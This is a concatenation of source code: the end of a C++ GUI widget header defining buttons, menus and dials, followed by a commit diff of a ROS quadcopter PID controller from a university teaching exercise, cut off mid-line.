\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n auto const button_margin = rect{ 10, 5, 10, 5 };\n auto const default_button_color = color{ 0, 0, 0, 0 };\n\n class basic_button_body : public widget\n {\n public:\n\n static float corner_radius;\n\n basic_button_body(color body_color);\n virtual void draw(context const& ctx);\n\n private:\n\n color body_color;\n };\n\n inline basic_button_body::basic_button_body(color body_color)\n : body_color(body_color)\n {}\n\n template <typename Button, typename Label>\n inline Button make_button(Label&& label, color body_color = default_button_color)\n {\n auto btn_body_off = basic_button_body(body_color.level(0.9));\n auto btn_body_on = basic_button_body(body_color.opacity(0.5));\n\n auto btn_img_off = layer(label, btn_body_off);\n auto btn_img_on = left_top_margin({1, 1}, layer(label, btn_body_on));\n\n return Button(std::move(btn_img_off), std::move(btn_img_on));\n }\n\n template <typename Button>\n inline Button make_button(\n std::string const& text\n , color body_color = default_button_color\n )\n {\n return make_button<Button>(\n margin(\n button_margin,\n align_center(label(text))\n ),\n body_color\n );\n }\n\n template <typename Button>\n inline Button make_button(\n std::uint32_t icon_code\n , std::string const& text\n , color body_color = default_button_color\n )\n {\n return make_button<Button>(\n margin(\n button_margin,\n align_center(\n htile(\n right_margin(8, icon(icon_code)),\n label(text)\n )\n )\n ),\n body_color\n );\n }\n\n template <typename Button>\n inline Button make_button(\n std::string const& text\n , std::uint32_t icon_code\n , color body_color = default_button_color\n )\n {\n return make_button<Button>(\n margin(\n button_margin,\n align_center(\n htile(\n label(text),\n left_margin(8, icon(icon_code))\n )\n )\n ),\n body_color\n );\n }\n\n basic_button\n button(\n std::string const& text\n , color body_color = default_button_color\n );\n\n basic_button\n button(\n std::uint32_t icon_code\n , std::string const& text\n , color body_color = default_button_color\n );\n\n basic_button\n button(\n std::string const& text\n , std::uint32_t icon_code\n , color body_color = default_button_color\n );\n\n basic_toggle_button\n toggle_button(\n std::string const& text\n , color body_color = default_button_color\n );\n\n basic_toggle_button\n toggle_button(\n std::uint32_t icon_code\n , std::string const& text\n , color body_color = default_button_color\n );\n\n basic_toggle_button\n toggle_button(\n std::string const& text\n , std::uint32_t icon_code\n , color body_color = default_button_color\n );\n\n basic_latching_button\n latching_button(\n std::string const& text\n , color body_color = default_button_color\n );\n\n basic_latching_button\n latching_button(\n std::uint32_t icon_code\n , std::string const& text\n , color body_color = default_button_color\n );\n\n basic_latching_button\n latching_button(\n std::string const& text\n , std::uint32_t icon_code\n , color body_color = default_button_color\n );\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ Check Box\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n void draw_check_box(\n context const& ctx, std::string const& text, bool state, bool hilite\n );\n\n template <bool state>\n class check_box_widget : public widget\n {\n public:\n check_box_widget(std::string const& text)\n : _text(text)\n {}\n\n virtual widget_limits limits(basic_context const& ctx) const;\n virtual void draw(context const& ctx);\n\n private:\n\n std::string _text;\n };\n\n template <bool state>\n widget_limits check_box_widget<state>::limits(basic_context const& ctx) const\n {\n auto& thm = get_theme();\n auto size = measure_text(ctx.canvas, _text.c_str(), thm.label_font, thm.label_font_size);\n return { { size.x, size.y }, { size.x, size.y } };\n }\n\n template <bool state>\n void check_box_widget<state>::draw(context const& ctx)\n {\n draw_check_box(ctx, _text, state, ctx.bounds.includes(ctx.view.cursor_pos()));\n }\n\n inline basic_toggle_button check_box(std::string const& text)\n {\n return basic_toggle_button(\n check_box_widget<false>{ text }\n , check_box_widget<true>{ text }\n );\n }\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ Icon Button\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n void draw_icon_button(context const& ctx, uint32_t code, float size, bool state, bool hilite);\n\n template <bool state>\n class icon_button_widget : public widget\n {\n public:\n icon_button_widget(uint32_t code, float size)\n : _code(code)\n , _size(size)\n {}\n\n virtual widget_limits limits(basic_context const& ctx) const;\n virtual void draw(context const& ctx);\n\n uint32_t _code;\n float _size;\n };\n\n template <bool state>\n widget_limits icon_button_widget<state>::limits(basic_context const& ctx) const\n {\n auto size = _size * 1.8f;\n return { { size, size }, { size, size } };\n }\n\n template <bool state>\n void icon_button_widget<state>::draw(context const& ctx)\n {\n draw_icon_button(ctx, _code, _size, state, ctx.bounds.includes(ctx.view.cursor_pos()));\n }\n\n inline basic_toggle_button icon_button(uint32_t code, float size)\n {\n return {\n icon_button_widget<false>{ code, size }\n , icon_button_widget<true>{ code, size }\n };\n }\n\n inline basic_toggle_button icon_button(uint32_t code1, uint32_t code2, float size)\n {\n return {\n icon_button_widget<false>{ code1, size }\n , icon_button_widget<true>{ code2, size }\n };\n }\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ Popup Button\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n basic_popup_button\n popup_button(\n std::string const& text\n , color body_color = default_button_color\n );\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ Menu Background\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n class menu_background : public widget\n {\n public:\n\n virtual void draw(context const& ctx);\n };\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ Menu Items\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n inline auto menu_item_text(std::string const& text)\n {\n return xside_margin({ 20, 20 }, align_left(label(text)));\n }\n\n inline auto menu_item(std::string const& text)\n {\n return basic_menu_item(menu_item_text(text));\n }\n\n class menu_item_spacer_widget : public widget\n {\n public:\n\n virtual widget_limits limits(basic_context const& ctx) const;\n virtual void draw(context const& ctx);\n };\n\n inline auto menu_item_spacer()\n {\n return menu_item_spacer_widget{};\n }\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ Text Entry\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n class input_panel : public widget\n {\n public:\n\n virtual void draw(context const& ctx);\n };\n\n template <typename InputBox, typename Panel>\n inline auto input_box(\n InputBox&& text_input\n , Panel&& panel\n , rect pad = rect{ 5, 5, 5, 4 }\n )\n {\n return layer(\n margin(\n pad,\n scroller(\n hsize(16384, std::move(text_input)),\n no_scrollbars | no_vscroll\n )\n ),\n std::move(panel)\n );\n }\n\n template <typename InputBox>\n inline auto input_box(\n InputBox&& text_input\n , rect pad = rect{ 5, 5, 5, 4 }\n )\n {\n return input_box(std::move(text_input), input_panel{}, pad);\n }\n\n inline auto input_box(\n std::string const& placeholder\n , rect pad = rect{ 5, 5, 5, 4 }\n )\n {\n return input_box(\n basic_input_box{ placeholder }\n , pad\n );\n }\n\n inline auto input_box(\n char const* placeholder\n , rect pad = rect{ 5, 5, 5, 4 }\n )\n {\n return input_box(\n basic_input_box{ placeholder }\n , pad\n );\n }\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ Dials\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n inline auto dial(\n reference<dial_base>& control\n , char const* knob_sprite\n , float knob_height\n , char const* background_image\n , char const* caption_text\n , float scale = 1.0\/5\n , float caption_size = 0.3\n )\n {\n auto knob = sprite{ knob_sprite, knob_height * scale, scale };\n auto lines = image{ background_image, scale };\n control = reference<dial_base>(share(dial(knob)));\n\n return\n align_center_middle(\n caption(\n layer(\n align_center_middle(control),\n lines\n ),\n caption_text, \/\/ caption\n 0.3 \/\/ relative caption text size\n )\n );\n }\n}\n\n#endif<|endoftext|>"} {"text":"<commit_before>\/\/ This source code is intended for use in the teaching course \"Vision-Based Navigation\" in summer term 2015 at Technical University Munich only.\r\n\/\/ Copyright 2015 Vladyslav Usenko, Joerg Stueckler, Technical University Munich\r\n\r\n#ifndef UAV_CONTROLLER_H_\r\n#define UAV_CONTROLLER_H_\r\n\r\n#include <ros\/ros.h>\r\n#include <std_srvs\/Empty.h>\r\n\r\n#include <sensor_msgs\/Imu.h>\r\n#include <geometry_msgs\/PoseWithCovarianceStamped.h>\r\n\r\n#include <sophus\/se3.hpp>\r\n#include <eigen_conversions\/eigen_msg.h>\r\n\r\n#include <mav_msgs\/CommandAttitudeThrust.h>\r\n#include <mav_msgs\/CommandRateThrust.h>\r\n#include <mav_msgs\/CommandMotorSpeed.h>\r\n\r\n#include <boost\/thread\/mutex.hpp>\r\n\r\n#include <se3ukf.hpp>\r\n\r\n#include <list>\r\n#include <fstream>\r\n\r\ntemplate<typename _Scalar>\r\nclass UAVController {\r\n\r\nprivate:\r\n\r\n\ttypedef Sophus::SE3Group<_Scalar> SE3Type;\r\n\ttypedef Sophus::SO3Group<_Scalar> SO3Type;\r\n\ttypedef Eigen::Quaternion<_Scalar> Quaternion;\r\n\r\n\ttypedef Eigen::Matrix<_Scalar, 3, 1> Vector3;\r\n\ttypedef Eigen::Matrix<_Scalar, 6, 1> Vector6;\r\n\ttypedef Eigen::Matrix<_Scalar, 12, 1> Vector12;\r\n\ttypedef Eigen::Matrix<_Scalar, 15, 1> Vector15;\r\n\r\n\ttypedef Eigen::Matrix<_Scalar, 3, 3> Matrix3;\r\n\ttypedef Eigen::Matrix<_Scalar, 6, 6> Matrix6;\r\n\ttypedef Eigen::Matrix<_Scalar, 12, 12> Matrix12;\r\n\ttypedef Eigen::Matrix<_Scalar, 15, 15> Matrix15;\r\n\r\n\r\n\tros::Publisher command_pub;\r\n\tros::Subscriber imu_sub;\r\n\tros::Subscriber pose_sub;\r\n\tros::Subscriber ground_truth_sub;\r\n\r\n\r\n\t\/\/ Switch between ground truth and ukf for controller\r\n\tbool use_ground_thruth_data;\r\n\r\n\t\/\/ Ground thruth data\r\n\tSE3Type ground_truth_pose;\r\n\tVector3 ground_truth_linear_velocity;\r\n\tdouble ground_truth_time;\r\n\r\n\t\/\/ Constants\r\n\t_Scalar g;\r\n\t_Scalar m;\r\n\tSE3Type T_imu_cam;\r\n\tSE3Type initial_pose;\r\n\tMatrix15 initial_state_covariance;\r\n\tMatrix3 gyro_noise;\r\n\tMatrix3 accel_noise;\r\n\tMatrix6 measurement6d_noise;\r\n\r\n\t\/\/ Pose to hoover at\r\n\tSE3Type desired_pose;\r\n\r\n\tmav_msgs::CommandAttitudeThrust command;\r\n\r\n\tvoid imuCallback(const sensor_msgs::ImuConstPtr& msg) {\r\n\t\tEigen::Vector3d accel_measurement, gyro_measurement;\r\n\t\ttf::vectorMsgToEigen(msg->angular_velocity, gyro_measurement);\r\n\t\ttf::vectorMsgToEigen(msg->linear_acceleration, accel_measurement);\r\n\r\n sendControlSignal();\r\n\t}\r\n\r\n\tvoid groundTruthPoseCallback(\r\n\t\t\tconst geometry_msgs::PoseWithCovarianceStampedConstPtr& msg) {\r\n\t\tEigen::Quaterniond orientation;\r\n\t\tEigen::Vector3d position;\r\n\r\n\t\ttf::pointMsgToEigen(msg->pose.pose.position, position);\r\n\t\ttf::quaternionMsgToEigen(msg->pose.pose.orientation, orientation);\r\n\r\n\t\tSE3Type pose(orientation.cast<_Scalar>(), position.cast<_Scalar>());\r\n\r\n\t\tground_truth_linear_velocity = (pose.translation()\r\n\t\t\t\t- ground_truth_pose.translation())\r\n\t\t\t\t\/ (msg->header.stamp.toSec() - ground_truth_time);\r\n\r\n\t\tground_truth_pose = pose;\r\n\t\tground_truth_time = msg->header.stamp.toSec();\r\n\t}\r\n\r\n\tvoid pose1Callback(\r\n\t\t\tconst geometry_msgs::PoseWithCovarianceStampedConstPtr& msg) {\r\n\t\tEigen::Quaterniond orientation;\r\n\t\tEigen::Vector3d position;\r\n\r\n\t\ttf::pointMsgToEigen(msg->pose.pose.position, position);\r\n\t\ttf::quaternionMsgToEigen(msg->pose.pose.orientation, orientation);\r\n\r\n\t\tSE3Type pose(orientation, position);\r\n\t}\r\n\r\n \/\/ exercise 1 d)\r\n\tmav_msgs::CommandAttitudeThrust computeCommandFromForce(\r\n\t\t\tconst Vector3 & control_force, const SE3Type & pose,\r\n\t\t\tdouble delta_time) {\r\n \/\/ TODO: implement\r\n float yaw = 0.5f; \/\/ ?\r\n \/\/ f = m * a ==> a = f \/ m\r\n Vector3 a = control_force\/m;\r\n float roll = 1.0f\/g * (a.x()*sin(yaw) - a.y()*cos(yaw));\r\n float pitch = 1.0f\/g * (a.x()*cos(yaw) + a.y()*sin(yaw));\r\n float thrust = a.z() + m*g;\r\n\r\n \/\/ mav_msgs::CommandAttitudeThrust_(roll, pitch, yaw, thrust)\r\n mav_msgs::CommandAttitudeThrust msg;\r\n msg.roll = roll; \/\/ [rad]\r\n msg.pitch = pitch; \/\/ [rad]\r\n msg.yaw_rate = yaw; \/\/ [rad\/s]\r\n msg.thrust = thrust;\r\n return msg;\r\n\t}\r\n\r\n \/\/ exercise 1 c)\r\n\tVector3 computeDesiredForce(const SE3Type & pose, const Vector3 & linear_velocity,\r\n\t\t\tdouble delta_time) {\r\n \/\/ TODO: implement\r\n SE3Type curr_pose;\r\n Vector3 curr_velocity;\r\n getPoseAndVelocity(curr_pose, curr_velocity);\r\n\r\n float kp = 1.0f; \/\/ proportional gains of the PID controller\r\n float kd = 1.0f; \/\/ differential gains of the PID controller\r\n float ki = 1.0f; \/\/ integral gains of the PID controller\r\n\r\n \/\/ x'' = kp*(xd-x) + kd*(xd'-x') + ki*integral(xd-x, delta_time)\r\n Vector3 a = kp*(pose.translation() - curr_pose.translation()) +\r\n kd*(linear_velocity - curr_velocity) +\r\n ki*delta_time*(pose.translation() - curr_pose.translation());\r\n return m*a; \/\/ f = m * a\r\n\t}\r\n\r\n\tvoid getPoseAndVelocity(SE3Type & pose, Vector3 & linear_velocity) {\r\n\t\tif (use_ground_thruth_data) {\r\n\t\t\tpose = ground_truth_pose;\r\n\t\t\tlinear_velocity = ground_truth_linear_velocity;\r\n\t\t} else {\r\n\r\n\t\t}\r\n\t}\r\n\r\npublic:\r\n\r\n\ttypedef boost::shared_ptr<UAVController> Ptr;\r\n\r\n\tUAVController(ros::NodeHandle & nh) :\r\n\t\t ground_truth_time(0) {\r\n\r\n\t\tuse_ground_thruth_data = false;\r\n\r\n\t\t\/\/ ========= Constants ===================================\/\/\r\n g = 9.8; \/\/ in rate_controller g = 9.81\r\n m = 1.55; \/\/ in rate_controller m = 1.56779\r\n\t\tinitial_state_covariance = Matrix15::Identity() * 0.001;\r\n\t\tgyro_noise = Matrix3::Identity() * 0.0033937;\r\n\t\taccel_noise = Matrix3::Identity() * 0.04;\r\n\t\tmeasurement6d_noise = Matrix6::Identity() * 0.01;\r\n\t\tinitial_pose.translation() << 0, 0, 0.08;\r\n\r\n\t\t\/\/ Set simulated camera to IMU transformation\r\n\t\tEigen::AngleAxisd rollAngle(0.2, Eigen::Vector3d::UnitX());\r\n\t\tEigen::AngleAxisd pitchAngle(-0.1, Eigen::Vector3d::UnitY());\r\n\t\tEigen::AngleAxisd yawAngle(0.3, Eigen::Vector3d::UnitZ());\r\n\r\n\t\tEigen::Quaterniond q = yawAngle * pitchAngle * rollAngle;\r\n\t\tT_imu_cam.setQuaternion(q);\r\n\t\tT_imu_cam.translation() << 0.03, -0.07, 0.1;\r\n\r\n \/\/ set desired position\r\n setDesiredPose(SE3Type(SO3Type::exp(Vector3(0,0,0)),Vector3(0,0,1)));\r\n\r\n\t\t\/\/ Init subscribers and publishers\r\n\t\timu_sub = nh.subscribe(\"imu\", 10, &UAVController<_Scalar>::imuCallback,\r\n\t\t\t\tthis);\r\n\t\tpose_sub = nh.subscribe(\"pose1\", 10,\r\n\t\t\t\t&UAVController<_Scalar>::pose1Callback, this);\r\n\t\tground_truth_sub = nh.subscribe(\"ground_truth\/pose\", 10,\r\n\t\t\t\t&UAVController<_Scalar>::groundTruthPoseCallback, this);\r\n\r\n\t\tcommand_pub = nh.advertise<mav_msgs::CommandAttitudeThrust>(\r\n\t\t\t\t\"command\/attitude\", 10);\r\n\r\n\r\n\t\t\/\/ Wake up simulation, from this point on, you have 30s to initialize\r\n\t\t\/\/ everything and fly to the evaluation position (x=0m y=0m z=1m).\r\n\t\tROS_INFO(\"Waking up simulation ... \");\r\n\t\tstd_srvs::Empty srv;\r\n\t\tbool ret = ros::service::call(\"\/gazebo\/unpause_physics\", srv);\r\n\r\n\t\tif (ret)\r\n\t\t\tROS_INFO(\"... ok\");\r\n\t\telse {\r\n\t\t\tROS_FATAL(\"could not wake up gazebo\");\r\n\t\t\texit(-1);\r\n\t\t}\r\n\t}\r\n\r\n\t~UAVController() {\r\n\t}\r\n\r\n \/\/ exercise 1 e)\r\n\tvoid sendControlSignal() {\r\n \/\/ TODO: implement\r\n SE3Type curr_pose;\r\n Vector3 curr_velocity;\r\n Vector3 desired_velocity = Vector3(0,0,0);\r\n\r\n double delta_time = 0.001d; \/\/ ?\r\n\r\n getPoseAndVelocity(curr_pose, curr_velocity);\r\n Vector3 dforce = computeDesiredForce(desired_pose, desired_velocity, delta_time);\r\n\r\n command_pub.publish( computeCommandFromForce(dforce, desired_pose \/*?*\/, delta_time) );\r\n }\r\n\r\n\r\n\tvoid setDesiredPose(const SE3Type & p) {\r\n\t\tdesired_pose = p;\r\n\t}\r\n\r\n\tEIGEN_MAKE_ALIGNED_OPERATOR_NEW\r\n};\r\n\r\n#endif \/* UAV_CONTROLLER_H_ *\/\r\n<commit_msg>Exercise 3 part 1 finsihed. May require further tuning for kp, kd, ki and testing.<commit_after>\/\/ This source code is intended for use in the teaching course \"Vision-Based Navigation\" in summer term 2015 at Technical University Munich only.\r\n\/\/ Copyright 2015 Vladyslav Usenko, Joerg Stueckler, Technical University Munich\r\n\r\n#ifndef UAV_CONTROLLER_H_\r\n#define UAV_CONTROLLER_H_\r\n\r\n#include <ros\/ros.h>\r\n#include <std_srvs\/Empty.h>\r\n\r\n#include <sensor_msgs\/Imu.h>\r\n#include <geometry_msgs\/PoseWithCovarianceStamped.h>\r\n\r\n#include <sophus\/se3.hpp>\r\n#include <eigen_conversions\/eigen_msg.h>\r\n\r\n#include <mav_msgs\/CommandAttitudeThrust.h>\r\n#include <mav_msgs\/CommandRateThrust.h>\r\n#include <mav_msgs\/CommandMotorSpeed.h>\r\n\r\n#include <boost\/thread\/mutex.hpp>\r\n\r\n#include <se3ukf.hpp>\r\n\r\n#include <list>\r\n#include <fstream>\r\n\r\ntemplate<typename _Scalar>\r\nclass UAVController {\r\n\r\nprivate:\r\n\r\n\ttypedef Sophus::SE3Group<_Scalar> SE3Type;\r\n\ttypedef Sophus::SO3Group<_Scalar> SO3Type;\r\n\ttypedef Eigen::Quaternion<_Scalar> Quaternion;\r\n\r\n\ttypedef Eigen::Matrix<_Scalar, 3, 1> Vector3;\r\n\ttypedef Eigen::Matrix<_Scalar, 6, 1> Vector6;\r\n\ttypedef Eigen::Matrix<_Scalar, 12, 1> Vector12;\r\n\ttypedef Eigen::Matrix<_Scalar, 15, 1> Vector15;\r\n\r\n\ttypedef Eigen::Matrix<_Scalar, 3, 3> Matrix3;\r\n\ttypedef Eigen::Matrix<_Scalar, 6, 6> Matrix6;\r\n\ttypedef Eigen::Matrix<_Scalar, 12, 12> Matrix12;\r\n\ttypedef Eigen::Matrix<_Scalar, 15, 15> Matrix15;\r\n\r\n\r\n\tros::Publisher command_pub;\r\n\tros::Subscriber imu_sub;\r\n\tros::Subscriber pose_sub;\r\n\tros::Subscriber ground_truth_sub;\r\n\r\n\r\n\t\/\/ Switch between ground truth and ukf for controller\r\n\tbool use_ground_thruth_data;\r\n\r\n\t\/\/ Ground thruth data\r\n\tSE3Type ground_truth_pose;\r\n\tVector3 ground_truth_linear_velocity;\r\n\tdouble ground_truth_time;\r\n\r\n\t\/\/ Constants\r\n\t_Scalar g;\r\n\t_Scalar m;\r\n\tSE3Type T_imu_cam;\r\n\tSE3Type initial_pose;\r\n\tMatrix15 initial_state_covariance;\r\n\tMatrix3 gyro_noise;\r\n\tMatrix3 accel_noise;\r\n\tMatrix6 measurement6d_noise;\r\n\r\n\t\/\/ Pose to hoover at\r\n\tSE3Type desired_pose;\r\n\r\n\tmav_msgs::CommandAttitudeThrust command;\r\n\r\n \/\/ debug\r\n Vector3 position_integral;\r\n\r\n\tvoid imuCallback(const sensor_msgs::ImuConstPtr& msg) {\r\n\t\tEigen::Vector3d accel_measurement, gyro_measurement;\r\n\t\ttf::vectorMsgToEigen(msg->angular_velocity, gyro_measurement);\r\n\t\ttf::vectorMsgToEigen(msg->linear_acceleration, accel_measurement);\r\n\r\n sendControlSignal();\r\n\t}\r\n\r\n\tvoid groundTruthPoseCallback(\r\n\t\t\tconst geometry_msgs::PoseWithCovarianceStampedConstPtr& msg) {\r\n\t\tEigen::Quaterniond orientation;\r\n\t\tEigen::Vector3d position;\r\n\r\n\t\ttf::pointMsgToEigen(msg->pose.pose.position, position);\r\n\t\ttf::quaternionMsgToEigen(msg->pose.pose.orientation, orientation);\r\n\r\n\t\tSE3Type pose(orientation.cast<_Scalar>(), position.cast<_Scalar>());\r\n\r\n\t\tground_truth_linear_velocity = (pose.translation()\r\n\t\t\t\t- ground_truth_pose.translation())\r\n\t\t\t\t\/ (msg->header.stamp.toSec() - ground_truth_time);\r\n\r\n\t\tground_truth_pose = pose;\r\n\t\tground_truth_time = msg->header.stamp.toSec();\r\n\t}\r\n\r\n\tvoid pose1Callback(\r\n\t\t\tconst geometry_msgs::PoseWithCovarianceStampedConstPtr& msg) {\r\n\t\tEigen::Quaterniond orientation;\r\n\t\tEigen::Vector3d position;\r\n\r\n\t\ttf::pointMsgToEigen(msg->pose.pose.position, position);\r\n\t\ttf::quaternionMsgToEigen(msg->pose.pose.orientation, orientation);\r\n\r\n\t\tSE3Type pose(orientation, position);\r\n\t}\r\n\r\n \/\/ TODO: exercise 1 d)\r\n\tmav_msgs::CommandAttitudeThrust computeCommandFromForce(\r\n\t\t\tconst Vector3 & control_force, const SE3Type & pose,\r\n\t\t\tdouble delta_time) {\r\n float yaw = 0.f;\r\n \/\/ f = m * a ==> a = f \/ m\r\n Vector3 a = control_force\/m;\r\n float roll = 1.0f\/g * (a.x()*sin(yaw) - a.y()*cos(yaw));\r\n float pitch = 1.0f\/g * (a.x()*cos(yaw) + a.y()*sin(yaw));\r\n float thrust = a.z() + m*g;\r\n\r\n mav_msgs::CommandAttitudeThrust msg;\r\n msg.roll = roll; \/\/ [rad]\r\n msg.pitch = pitch; \/\/ [rad]\r\n msg.yaw_rate = yaw; \/\/ [rad\/s]\r\n msg.thrust = thrust;\r\n return msg;\r\n\t}\r\n\r\n \/\/ TODO: exercise 1 c)\r\n\tVector3 computeDesiredForce(const SE3Type & pose, const Vector3 & linear_velocity,\r\n\t\t\tdouble delta_time) {\r\n SE3Type curr_pose;\r\n Vector3 curr_velocity;\r\n getPoseAndVelocity(curr_pose, curr_velocity);\r\n\r\n const float kp = 4.0f; \/\/ proportional gains of the PID controller\r\n const float kd = 4.0f; \/\/ differential gains of the PID controller\r\n const float ki = 8.0f; \/\/ integral gains of the PID controller\r\n\r\n \/\/ x'' = kp*(xd-x) + kd*(xd'-x') + ki*integral(xd-x, delta_time)\r\n position_integral += delta_time*(pose.translation() - curr_pose.translation());\r\n Vector3 a = kp*(pose.translation() - curr_pose.translation()) +\r\n kd*(linear_velocity - curr_velocity) +\r\n ki*position_integral;\r\n return m*a; \/\/ f = m * a\r\n\t}\r\n\r\n \/\/ TODO: exercise 1 b)\r\n\tvoid getPoseAndVelocity(SE3Type & pose, Vector3 & linear_velocity) {\r\n\t\tif (use_ground_thruth_data) {\r\n\t\t\tpose = ground_truth_pose;\r\n\t\t\tlinear_velocity = ground_truth_linear_velocity;\r\n\t\t} else {\r\n\r\n\t\t}\r\n\t}\r\n\r\npublic:\r\n\r\n\ttypedef boost::shared_ptr<UAVController> Ptr;\r\n\r\n\tUAVController(ros::NodeHandle & nh) :\r\n ground_truth_time(0),\r\n position_integral(0,0,0){\r\n\r\n use_ground_thruth_data = true;\r\n\r\n\t\t\/\/ ========= Constants ===================================\/\/\r\n g = 9.8; \/\/ in rate_controller g = 9.81\r\n m = 1.55; \/\/ in rate_controller m = 1.56779\r\n\t\tinitial_state_covariance = Matrix15::Identity() * 0.001;\r\n\t\tgyro_noise = Matrix3::Identity() * 0.0033937;\r\n\t\taccel_noise = Matrix3::Identity() * 0.04;\r\n\t\tmeasurement6d_noise = Matrix6::Identity() * 0.01;\r\n\t\tinitial_pose.translation() << 0, 0, 0.08;\r\n\r\n\t\t\/\/ Set simulated camera to IMU transformation\r\n\t\tEigen::AngleAxisd rollAngle(0.2, Eigen::Vector3d::UnitX());\r\n\t\tEigen::AngleAxisd pitchAngle(-0.1, Eigen::Vector3d::UnitY());\r\n\t\tEigen::AngleAxisd yawAngle(0.3, Eigen::Vector3d::UnitZ());\r\n\r\n\t\tEigen::Quaterniond q = yawAngle * pitchAngle * rollAngle;\r\n\t\tT_imu_cam.setQuaternion(q);\r\n\t\tT_imu_cam.translation() << 0.03, -0.07, 0.1;\r\n\r\n\t\t\/\/ Init subscribers and publishers\r\n\t\timu_sub = nh.subscribe(\"imu\", 10, 